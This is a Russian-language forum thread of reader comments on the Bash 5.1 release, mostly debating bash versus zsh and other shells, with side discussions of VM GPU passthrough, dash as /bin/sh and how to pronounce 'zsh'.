Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Изначальное сообщение		[ Отслеживать ]

"Релиз командного интерпретатора Bash 5.1"	+/–
Сообщение от opennews (?), 08-Дек-20, 12:03
После двух лет разработки опубликована новая версия командного интерпретатора GNU Bash 5.1, используемого по умолчанию в большинстве  дистрибутивов Linux. Одновременно сформирован релиз библиотеки readline 8.1, применяемой в bash для организации редактирования  командной строки... Подробнее: https://www.opennet.ru/opennews/art.shtml?num=54214
Ответить | Правка | Cообщить модератору

Сообщения

[Сортировка по времени | RSS]

1. "Релиз командного интерпретатора Bash 5.1"	–4 +/–
Сообщение от MasterSlave (?), 08-Дек-20, 12:03
Народ, не вброса ради... Что всё-таки лучше для заурядного хомы: bash или zsh?
Ответить | Правка | Наверх | Cообщить модератору

	3. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Аноним (3), 08-Дек-20, 12:05
	Мне лично нравится oh-my-zsh с плагинами.
	Ответить | Правка | Наверх | Cообщить модератору

	13. "Релиз командного интерпретатора Bash 5.1"	+5 +/–
	Сообщение от Аноним (13), 08-Дек-20, 12:21
	>oh-my-backdoor Так правильнее.
	Ответить | Правка | Наверх | Cообщить модератору

	27. "Релиз командного интерпретатора Bash 5.1"	+15 +/–
	Сообщение от Аноним (27), 08-Дек-20, 12:45
	Пруфы бэкдоров будут или опять пук анонима в лужу?
	Ответить | Правка | Наверх | Cообщить модератору

	152. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (152), 08-Дек-20, 19:11
	Даже если его нет сейчас, что помешает его пушнуть в новом комите? Кто бы мог подумать что зверьцд можно и для скриптеров запилить!
	Ответить | Правка | Наверх | Cообщить модератору

	112. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от milinsky (ok), 08-Дек-20, 16:17
	https://github.com/ohmyzsh/ohmyzsh ты ведь просмотрел весь код и точно знаешь где бекдор, верно?
	Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

	118. "Релиз командного интерпретатора Bash 5.1"	+3 +/–
	Сообщение от NNN (??), 08-Дек-20, 16:34
	А ты ведь просмотрел весь код и точно знаешь, что там нет бэкдоров, верно?
	Ответить | Правка | Наверх | Cообщить модератору

	125. "Релиз командного интерпретатора Bash 5.1"	+3 +/–
	Сообщение от Энон (?), 08-Дек-20, 17:01
	Специально для альтернативно одарённых. Необходимость доказательства утверждения лежит на утверждающем. Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика".
	Ответить | Правка | Наверх | Cообщить модератору

	126. "Релиз командного интерпретатора Bash 5.1"	–5 +/–
	Сообщение от Урри (ok), 08-Дек-20, 17:11
	Согласен - доказывать отсутствие мозгов у Энона не надо - ведь по его же словам "Доказывать отсутствие чего либо не нужно. Эти очевидные знания известны всем, кто знаком с понятием "элементарная логика".
	Ответить | Правка | Наверх | Cообщить модератору

	146. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Энон (?), 08-Дек-20, 18:06
	Сразу видно альтернативно одарённое урри )
	Ответить | Правка | Наверх | Cообщить модератору

	145. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (145), 08-Дек-20, 18:06
	Ну, как бы, к ИБ это плохо относится. Там больше наоборот, нужно доказывать отсутствие.
	Ответить | Правка | К родителю #125 | Наверх | Cообщить модератору

	148. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Энон (?), 08-Дек-20, 18:08
	Нет, нужно доказывать наличие. Тем более, что код открыт
	Ответить | Правка | Наверх | Cообщить модератору

	151. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от дохтурЛол (?), 08-Дек-20, 19:05
	тогда не нужны эти bash/zsh, да и линyпс не нужон. в виндoвсе уже есть и цмд и поверсхeлл.
	Ответить | Правка | Наверх | Cообщить модератору

	175. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Энон (?), 08-Дек-20, 20:27
	> тогда не нужны эти bash/zsh, да и линyпс не нужон. > в виндoвсе уже есть и цмд и поверсхeлл. дохтурЛох не читака. дохтурЛох -- писака.
	Ответить | Правка | Наверх | Cообщить модератору

	223. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Прохожий (??), 09-Дек-20, 01:09
	И этот человек рассказывает другим о логике... Наличие бэкдоров означает, что они не отсутствуют. А отсутствие бэкдоров означает, что они не присутствуют. Другими словами, наличие одного факта автоматически исключает другой, потому что они не могут существовать одновременно. Поэтому доказывать наличие бэкдоров - это то же самое, что доказывать их отсутствие. Бэкдоры или есть, или их нет.
	Ответить | Правка | К родителю #148 | Наверх | Cообщить модератору

	230. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (230), 09-Дек-20, 01:26
	Ну и дятел. Доказать наличие можно. Для этого надо продемонстрировать, что такой-то кусок делает то-то, чего от него совершенно не просили. Доказать отсутствие принципиально невозможно. Смотрел, но не нашёл? А может, смотрел плохо? Может, квалификации не хватает? Нет, это не доказательство. Поэтому, представь себе, ещё в римском праве был принцип, что бремя доказывания лежит на утверждающем что-то, а не на отрицающем.
	Ответить | Правка | Наверх | Cообщить модератору

	288. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (-), 11-Дек-20, 13:05
	Болванка :( Тебе бы в гуманитарные податься, ну там, в юристы, к примеру. Там такой корм приветствуется.
	Ответить | Правка | К родителю #148 | Наверх | Cообщить модератору

	295. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Энон (?), 15-Дек-20, 10:06
	Докажи отсутствие чайника на орбите за Марсом, дурачок.
	Ответить | Правка | Наверх | Cообщить модератору

	250. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Logic Logic (?), 09-Дек-20, 07:39
	Если подумать *по-настоящему* логично, то все крайне просто. Два пункта: * у проекта ohmyzsh 1779 (на данный момент) контрибьюторов на github (постоянно активных, конечно меньше, но все же)... надо полагать либо они, эдакие злодеи, все сговорились, либо, если все-же отбросить неуместную теорию заговора, кто-то, надобно полагать, таки доложил бы, если б вдруг что нашлось? впрочем, не удивлюсь, если вы реальный сторонник теории заговора... (а уж COVID-19 так и вообще, наверное, проект ВОЗ, не? глобальный заговор, чтобы на вакцине заработать, ну или как там в ваших кругах посвященных в теории заговора излагают? :))) * но уж если вашей же собственной логикой пользоваться, то для доказательства отсутсвия бэкдоров во всех "чистых" оболочках (ну или других, в пользу каких бы вы там отдали голос вместо zsh/ohmyzsh) - вы, я так понимаю, просмотрели сырцы оных и сами убедились, что в них то уж точно бэкдоров нету, я правильно все понял? :) потому что если не доверять, то уж не доверять никому, у вас же не двойные стандарты, в конце то концов? (хотя, опять таки, не удивлюсь... ой, ладно, поржал, в общем :)))
	Ответить | Правка | К родителю #118 | Наверх | Cообщить модератору

	4. "Релиз командного интерпретатора Bash 5.1"	–25 +/–
	Сообщение от Отпетый Виндузятник (?), 08-Дек-20, 12:05
	PowerShell (: ну или что там сейчас ещё для 10 сделали
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	5. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (5), 08-Дек-20, 12:07
	cmd должно хватить всем
	Ответить | Правка | Наверх | Cообщить модератору

	11. "Релиз командного интерпретатора Bash 5.1"	+7 +/–
	Сообщение от Аноним (11), 08-Дек-20, 12:17
	command.com
	Ответить | Правка | Наверх | Cообщить модератору

	80. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от псевдонимус (?), 08-Дек-20, 14:52
	Батников и волков коммандер достаточно для всего:-))
	Ответить | Правка | Наверх | Cообщить модератору

	149. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (145), 08-Дек-20, 18:08
	Волков Командер знаю, а Батников Командер не встречал.
	Ответить | Правка | Наверх | Cообщить модератору

	247. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от нежданчик (?), 09-Дек-20, 05:43
	Можно поинтересоваться, у вас уже доллар в свободной продаже или нет? Если - да, то покупайте на всё рубли, он скоро повысится! =))
	Ответить | Правка | К родителю #80 | Наверх | Cообщить модератору

	251. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от tmplsr (?), 09-Дек-20, 09:53
	>Батников и волков коммандер достаточно для всего:-)) Азбуки Морзе. Телеграфным ключом вбиваешь команды, по светодиоду/пищалке считываешь ответ. Даже экран и клавиатура излишни.
	Ответить | Правка | К родителю #80 | Наверх | Cообщить модератору

	16. "Релиз командного интерпретатора Bash 5.1"	+4 +/–
	Сообщение от Аноним (16), 08-Дек-20, 12:28
	Очень многие не сидят. У большинства моих знакомых венды дома нет, многим и по работе с ней пересекаться не приходится.
	Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

	19. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 12:31
	Лично у меня она есть, только в виртуалке. Нужно для работы, да и игрушечки не все пока на протоне идут. В принципе cmd.exe вполне достаточно для её скриптования, павершел же ничем не удобнее баша.
	Ответить | Правка | Наверх | Cообщить модератору

	25. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от заминированный тапок (ok), 08-Дек-20, 12:42
	зато на Lutris идут гораздо больше, чем на протоне (и даже есть интеграция с коллекцией steam) а играться в виртуальной машине - ну такое...
	Ответить | Правка | Наверх | Cообщить модератору

	28. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 12:48
	Да не помню, когда запускал виртуалку ради игрушечек, вроде лет 5 назад. Тогда ещё dxvk никаких не было, какие-то лютые баги лезли. Но вообще, в QEMU то с проброшенной картой лучше чем с вендой на хосте работает, в dxvk всё же процентов на 10 ниже фреймрейт.
	Ответить | Правка | Наверх | Cообщить модератору

	50. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от заминированный тапок (ok), 08-Дек-20, 13:45
	> Да не помню, когда запускал виртуалку ради игрушечек, вроде лет 5 назад. > Тогда ещё dxvk никаких не было, какие-то лютые баги лезли. Но > вообще, в QEMU то с проброшенной картой лучше чем с вендой > на хосте работает, в dxvk всё же процентов на 10 ниже > фреймрейт. много возни/косяков при пробросе видекарты в QEMU (из личного опыта)? хост был с запущенными Гуями или только терминал? (интересно как при этом хост и гость пользуют 1 устройство, если карта одна) интересная тема для меня просто, но пока что к изучению самогов пороса не дошёл
	Ответить | Правка | Наверх | Cообщить модератору

	56. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (16), 08-Дек-20, 14:02
	Для хоста нужна другая карта, у меня был отдельный монитор, но вроде можно и с одним как-то. KVM switch конечно самое очевидное, правда стоит денег. Самое главное, должно поддерживаться материнской платой, не все могут пробрасывать видеокарту.
	Ответить | Правка | Наверх | Cообщить модератору

	92. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от заминированный тапок (ok), 08-Дек-20, 15:20
	У меня всё проще, тк вывод на другой монитор не обязателен, так что можно обойтись и просто установкой VNC на гостевую ОС и пользовать его в fullscreen режиме, а картинку гнать через хоста. интересно, про ограничения материнки на проброс упоминаний не слышал, пока что (речь идёт о системе с встроенной в CPU видюхой для хоста + внешний GPU NVidia, например, для гостя)
	Ответить | Правка | Наверх | Cообщить модератору

	128. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Урри (ok), 08-Дек-20, 17:14
	К сожалению - недостаточно. Многие вещи в батничках физически нельзя сделать. И в первую очередь - корректную экранизацию спецсимволов в многострочных данных.
	Ответить | Правка | К родителю #19 | Наверх | Cообщить модератору

	147. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от псевдонимус (?), 08-Дек-20, 18:08
	Вообще-то это была просто шутка. :-(
	Ответить | Правка | Наверх | Cообщить модератору

	18. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (18), 08-Дек-20, 12:31
	У меня нет окошек уже лет эдак 5 от слова совсем. До этого была XP в виртуалке для одной хитрой софтины.
	Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

	129. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Урри (ok), 08-Дек-20, 17:15
	А у меня большой зоопарк виртуалок с вендой и пара с макосью (да-да, куэму умеет крутить на ..мм.. короче крутить в себе макось).
	Ответить | Правка | Наверх | Cообщить модератору

	31. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (145), 08-Дек-20, 13:14
	>ну или что там сейчас ещё для 10 сделали WSL2 для вас сделали. Так что вам тоже на bash переходить.
	Ответить | Правка | К родителю #4 | Наверх | Cообщить модератору

	35. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от cjayho (?), 08-Дек-20, 13:22
	ее и на венде особо не жалуют изза адских тормозов и переусложненности
	Ответить | Правка | К родителю #4 | Наверх | Cообщить модератору

	6. "Релиз командного интерпретатора Bash 5.1"	+7 +/–
	Сообщение от Аноним (6), 08-Дек-20, 12:07
	Что значит лучше? Это просто инструмент. Он либо подходит под твои задачи либо нет. Если не подходит, ищешь другой.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	39. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (39), 08-Дек-20, 13:23
	Просто удобный молоток, а не розовая ржавая железка.
	Ответить | Правка | Наверх | Cообщить модератору

	8. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Аноним (16), 08-Дек-20, 12:10
	Зшизмы заточены на комфортный интерактив (и куча плагинов комплектом соответственно тоже) и баш на скрипты, в значительной мере избавленные внешних вызовов. Он легче зш, но некоторые поведение в частности с пайпами и его ридлайн довольно своеобразное. Вроде я столкнулся с несовместимыми отличиями в глобах, сетопт и хэштейблах, из-за чего от поддержки зш в качестве интерпретатора пришлось отказаться. А кроме того, зш есть не каждой системе, и баш есть везде, поэтому если и брать зш, то только "для души".
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	9. "Релиз командного интерпретатора Bash 5.1"	+8 +/–
	Сообщение от Аноним (9), 08-Дек-20, 12:12
	bash, если у тебя больше одного компа
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	49. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (230), 08-Дек-20, 13:43
	Какая связь?
	Ответить | Правка | Наверх | Cообщить модератору

	70. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (70), 08-Дек-20, 14:24
	zsh нужно устанавливать самому
	Ответить | Правка | Наверх | Cообщить модератору

	76. "Релиз командного интерпретатора Bash 5.1"	–4 +/–
	Сообщение от Аноним (230), 08-Дек-20, 14:39
	И что? На один комп поставить можно, а на второй уже неподъёмная задача?
	Ответить | Правка | Наверх | Cообщить модератору

	114. "Релиз командного интерпретатора Bash 5.1"	+5 +/–
	Сообщение от имя (ok), 08-Дек-20, 16:26
	Радуйся, что у тебя два «компа», а не зоопарк унаследованных серверов.
	Ответить | Правка | Наверх | Cообщить модератору

	156. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (230), 08-Дек-20, 19:25
	Речь, вроде, шла не обо мне и не о владельцах зоопарков, а о тех, у кого > больше одного компа Два — это всё ещё больше одного, или я слишком давно не слежу за новостями арифметики? P. S. Если ты админишь зоопарк серверов без какого бы то ни было SCM, это говорит не о твоей крутости, а о твоей профнепригодности.
	Ответить | Правка | Наверх | Cообщить модератору

	188. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от имя (ok), 08-Дек-20, 21:08
	> P. S. Если ты админишь зоопарк серверов без какого бы то ни было SCM Ты не поверишь, но кроме админов существуют люди, которым на эти серваки тоже нужно ходить. И прав на установку всяких zsh/fish/oil-shell у них там нет безотносительно (не)использования SCM.
	Ответить | Правка | Наверх | Cообщить модератору

	82. "Релиз командного интерпретатора Bash 5.1"	–4 +/–
	Сообщение от псевдонимус (?), 08-Дек-20, 14:53
	А баш сам себя устанавливает?
	Ответить | Правка | К родителю #70 | Наверх | Cообщить модератору

	245. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Борат Сагдиев (?), 09-Дек-20, 02:46
	На macos bash нужно устанавливать самому, в отличие от zsh.
	Ответить | Правка | К родителю #70 | Наверх | Cообщить модератору

	10. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от stargrave2 (?), 08-Дек-20, 12:17
	http://www.stargrave.org/ZSH-proscons.html
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	22. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (22), 08-Дек-20, 12:32
	Тебе скрипты писать или просто дефолтный интерпретатор? Если первое, то лучше питона или руби ты не найдёшь. Если второе — оставайся на баш и не трогай, дабы не сломалось.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	93. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от анононим (?), 08-Дек-20, 15:28
	xonsh
	Ответить | Правка | Наверх | Cообщить модератору

	24. "Релиз командного интерпретатора Bash 5.1"	–5 +/–
	Сообщение от Дмитрий П. (?), 08-Дек-20, 12:38
	fish
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	26. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от nomad__ (ok), 08-Дек-20, 12:43
	> Что всё-таки лучше для заурядного хомы: bash или zsh? bash достаточно даже разрабу (как разраб говорю). Когда тебе понадобится zsh, ты об этом узнаешь.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	34. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Аноним (34), 08-Дек-20, 13:20
	Для скриптов bash, для командной строки fish
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	36. "Релиз командного интерпретатора Bash 5.1"	+5 +/–
	Сообщение от лолшто (?), 08-Дек-20, 13:22
	Если стратежно к вопросу подходить, то изучать следует то, что позволит твоему опыту быть более переносимым. В данном случае - это bash.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	83. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от псевдонимус (?), 08-Дек-20, 14:55
	Это sh, а не распиареный баш.
	Ответить | Правка | Наверх | Cообщить модератору

	121. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от лолшто (?), 08-Дек-20, 16:37
	Кто до легковесных контейнеров доберется, тот и это поймет.
	Ответить | Правка | Наверх | Cообщить модератору

	131. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Урри (ok), 08-Дек-20, 17:18
	Это тех, где выкидывают баш ради 600 киль пространства, но впихивают питон ради -100 метров?
	Ответить | Правка | Наверх | Cообщить модератору

	262. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 09-Дек-20, 14:29
	> выкидывают баш ради 600 киль в ~10 раз больше > питон ради -100 метров В ~10 раз меньше.
	Ответить | Правка | Наверх | Cообщить модератору

	37. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от rshadow (ok), 08-Дек-20, 13:22
	Если коротко: bash есть из коробки на каждом сервере, zsh если настроить то будет удобнее.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	51. "Релиз командного интерпретатора Bash 5.1"	+3 +/–
	Сообщение от Аноним (230), 08-Дек-20, 13:46
	Не на каждом. Даже не на каждом сервере с линуксом. И bash, и zsh — это хорошо, но надо уметь пользоваться POSIX shell.
	Ответить | Правка | Наверх | Cообщить модератору

	55. "Релиз командного интерпретатора Bash 5.1"	–3 +/–
	Сообщение от 1 (??), 08-Дек-20, 14:00
	вроде в любом линаксе sh - это просто hardlink на bash
	Ответить | Правка | Наверх | Cообщить модератору

	67. "Релиз командного интерпретатора Bash 5.1"	+4 +/–
	Сообщение от Аноним (230), 08-Дек-20, 14:20
	Даже из мейнстримных дистров общего назначения — не в любом. В Debian-based и некоторых других это dash. Ежели дистр специализированный и урезанный, в нём может быть busybox с ash.
	Ответить | Правка | Наверх | Cообщить модератору

	68. "Релиз командного интерпретатора Bash 5.1"	+4 +/–
	Сообщение от Аноним (230), 08-Дек-20, 14:20
	И не хардлинк, а симлинк, кстати.
	Ответить | Правка | К родителю #55 | Наверх | Cообщить модератору

	69. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от aa (?), 08-Дек-20, 14:24
	нет, не в любом
	Ответить | Правка | К родителю #55 | Наверх | Cообщить модератору

	73. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (70), 08-Дек-20, 14:28
	нет не надо
	Ответить | Правка | К родителю #51 | Наверх | Cообщить модератору

	84. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от псевдонимус (?), 08-Дек-20, 14:56
	Нет.
	Ответить | Правка | К родителю #37 | Наверх | Cообщить модератору

	94. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Аноним (94), 08-Дек-20, 15:30
	Мне вот интересны индивидуумы, у которых всё удобно "если настроить". Небо синее, трава зелёная, если что-то настроить, оно будет удобнее. А bash настроить нельзя?
	Ответить | Правка | К родителю #37 | Наверх | Cообщить модератору

	157. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (230), 08-Дек-20, 19:27
	> А bash настроить нельзя? Так, как zsh, — нельзя.
	Ответить | Правка | Наверх | Cообщить модератору

	40. "Релиз командного интерпретатора Bash 5.1"	–6 +/–
	Сообщение от InuYasha (??), 08-Дек-20, 13:24
	Пользую zsh уже с десяток лет. ЕДИНСТВЕННОЕ, чего в нём мне не хватает - поддержки оператора "==". Но это только в скриптах.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	44. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (44), 08-Дек-20, 13:27
	bash.org
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	66. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от abu (?), 08-Дек-20, 14:20
	Программисты ставят zsh на десктоп, пожалуй, это хорошо. А на сервер ... мне лично лень городить его на каждом сервере, хватает и bash'a.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	140. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от grayich (ok), 08-Дек-20, 17:44
	в принципе пофик, но для меня например решает автодополнение по Tab в zsh, в баше неудобно
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

	170. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Аноним (170), 08-Дек-20, 20:19
	Для скриптов командная оболочка POSIX, для интерактивной работы то, что установлено по умолчанию.
	Ответить | Правка | К родителю #1 | Наверх | Cообщить модератору

17. "Релиз командного интерпретатора Bash 5.1"	+/–
Сообщение от ttakttaguri (ok), 08-Дек-20, 12:30
Во мне есть ubuntu 20.10, bash 5.0.17. Что и как надо зделать чтобы установил bash 5.1?
Ответить | Правка | Наверх | Cообщить модератору

	20. "Релиз командного интерпретатора Bash 5.1"	+17 +/–
	Сообщение от Аноним (18), 08-Дек-20, 12:32
	Ничего. Жди обновления, не сри в систему.
	Ответить | Правка | Наверх | Cообщить модератору

	21. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от Аноним (18), 08-Дек-20, 12:32
	Жди пакетов лучше. Либо переходи на роллинг дистры.
	Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

	38. "Релиз командного интерпретатора Bash 5.1"	+11 +/–
	Сообщение от Аноним (145), 08-Дек-20, 13:23
	>Во мне есть ubuntu 20.10, bash 5.0.17. Терминатор?
	Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

	85. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от вынь любит вас во все девайсы (?), 08-Дек-20, 14:56
	Злой на вынь+цмд.екзе Добрый на линь+бэш.
	Ответить | Правка | Наверх | Cообщить модератору

	48. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от danonimous (?), 08-Дек-20, 13:40
	Жди ебилдов.
	Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

	155. "Релиз командного интерпретатора Bash 5.1"	+1 +/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 19:24
	ставь dash как /bin/sh, он в разы быстрее su apt-get install dash if [ -f /bin/dash ] then rm -f /bin/sh ln -s /bin/dash /bin/sh fi sh
	Ответить | Правка | К родителю #17 | Наверх | Cообщить модератору

	289. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от anonimous (?), 12-Дек-20, 00:24
	открой для себя chcon
	Ответить | Правка | Наверх | Cообщить модератору

23. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
Сообщение от Аноним (39), 08-Дек-20, 12:36
> 5.1 Вот она, программа здорового человека... ой, простите, человека без инвалидности!
Ответить | Правка | Наверх | Cообщить модератору

	41. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от Аноним (145), 08-Дек-20, 13:25
	Ты что, против инклюзива человеков с инвалидностью?
	Ответить | Правка | Наверх | Cообщить модератору

	158. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от VINRARUS (ok), 08-Дек-20, 19:35
	>> 5.1 > Вот она, программа здорового человека... ой, простите, человека без инвалидности! Гумонитарии они такие: пишут... ой, простите, рисуют код кисточками, а версии меняют через insert. Правда называть инвалидами тех кто пишет более эфективный код это так по ЛГБтшно...
	Ответить | Правка | К родителю #23 | Наверх | Cообщить модератору

29. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
Сообщение от Аноннчик (?), 08-Дек-20, 12:58
Чем ZSH хуже Баша?
Ответить | Правка | Наверх | Cообщить модератору

	30. "Релиз командного интерпретатора Bash 5.1"	+6 +/–
	Сообщение от Аноним (30), 08-Дек-20, 13:08
	Что же у Вас тут за собрание "лучше-хуже"? Чем колбаса хуже сосиски? Разные они, вот и всё. Что больше нравится - тем и пользуйтесь.
	Ответить | Правка | Наверх | Cообщить модератору

	95. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Аноним (94), 08-Дек-20, 15:32
	А как же "всё познаётся в сравнении"?
	Ответить | Правка | Наверх | Cообщить модератору

	33. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Ordu (ok), 08-Дек-20, 13:20
	У zsh имя нечитаемое совершенно: "зш", ну что это? Как это читать?
	Ответить | Правка | К родителю #29 | Наверх | Cообщить модератору

	42. "Релиз командного интерпретатора Bash 5.1"	–2 +/–
	Сообщение от InuYasha (??), 08-Дек-20, 13:25
	Вообще все его читают как "зэ - эс - аш".
	Ответить | Правка | Наверх | Cообщить модератору

	58. "Релиз командного интерпретатора Bash 5.1"	–1 +/–
	Сообщение от Ordu (ok), 08-Дек-20, 14:05
	> Вообще все его читают как "зэ - эс - аш". Ну я о том же. Вынос мозга, а не название. гэцэцэ с гэдэбэ и то лучше.
	Ответить | Правка | Наверх | Cообщить модератору

	71. "Релиз командного интерпретатора Bash 5.1"	–4 +/–
	Сообщение от IRASoldier_registered (ok), 08-Дек-20, 14:26
	>гэцэцэ Тяжкое наследие советской школы с повальным изучением немецкого вместо английского. Так что "джи-си-си". >гэдэбэ "джи-ди-би", подсказывает Кэп. >"зэ-эс-аш" Хрена два. Общепринятое произношение - z[ee]sh / z[i]sh, т.е. "зиш". Баш и зиш, да.
	Ответить | Правка | Наверх | Cообщить модератору

	88. "Релиз командного интерпретатора Bash 5.1"	+2 +/–
	Сообщение от Ordu (ok), 08-Дек-20, 15:06
	>>гэцэцэ > Тяжкое наследие советской школы с повальным изучением немецкого вместо английского. Во-первых, не немецкого, а латинского: эти произношения букв взяты из латинского алфавита. Ты в курсе, что советская школа на уроках математики учила, что в математике "икс" из латинского алфавита, а не из английского? Именно поэтому он "икс", а не "экс". А "игрек" -- "игрек", а не "уай". Эта традиция перекочевала и в постсоветское программирование, где "i" читается как "и", а "j" как "жи", а не как "джей". Во-вторых, мне всегда было больно смотреть, как люди без этого образования произносят гэтэка, как "джи-ти-кей". Я тебе очень рекомендую прикоснуться к этому образованию, и освоить простые способы произносить все эти аббревиатуры. То есть, традиция уходит, мне кажется, и хрен-то с ней, но пока ещё люди понимают английские аббревиатуры прочитанные в этой традиции, а значит нет никаких разумных причин ломать свой язык. Если, конечно, ты не ставишь перед собой цели сломать традицию. >  Общепринятое произношение - z[ee]sh / z[i]sh, т.е. "зиш" Если бы они дали ему имя "hujsgory", то тогда было бы очевиднее, что это читается как "зиш".
	Ответить | Правка | Наверх | Cообщить модератору

	98. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от InuYasha (??), 08-Дек-20, 15:48
	> Если бы они дали ему имя "hujsgory", то тогда было бы очевиднее, > что это читается как "зиш". Воистину. Может, он из Австралии? А нерусские обычно говорят так: https://www.youtube.com/watch?v=gGmBUfMaWMU
	Ответить | Правка | Наверх | Cообщить модератору

	123. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от Ordu (ok), 08-Дек-20, 16:52
	> А нерусские обычно говорят так: https://www.youtube.com/watch?v=gGmBUfMaWMU Любопытно. Он произносит 'z' как zee, а sh, как аббревиатуру -- ass eitch, -- то есть каждую букву по отдельности. Я спросил у гугла zsh+pronunciation, нашёл https://www.reddit.com/r/zsh/comments/gzs3lw/how_do_you_pron.../ первый ответ: Zed-ess-aitch, or Z-shell.
	Ответить | Правка | Наверх | Cообщить модератору

	254. "Релиз командного интерпретатора Bash 5.1"	+/–
	Сообщение от InuYasha (??), 09-Дек-20, 12:00
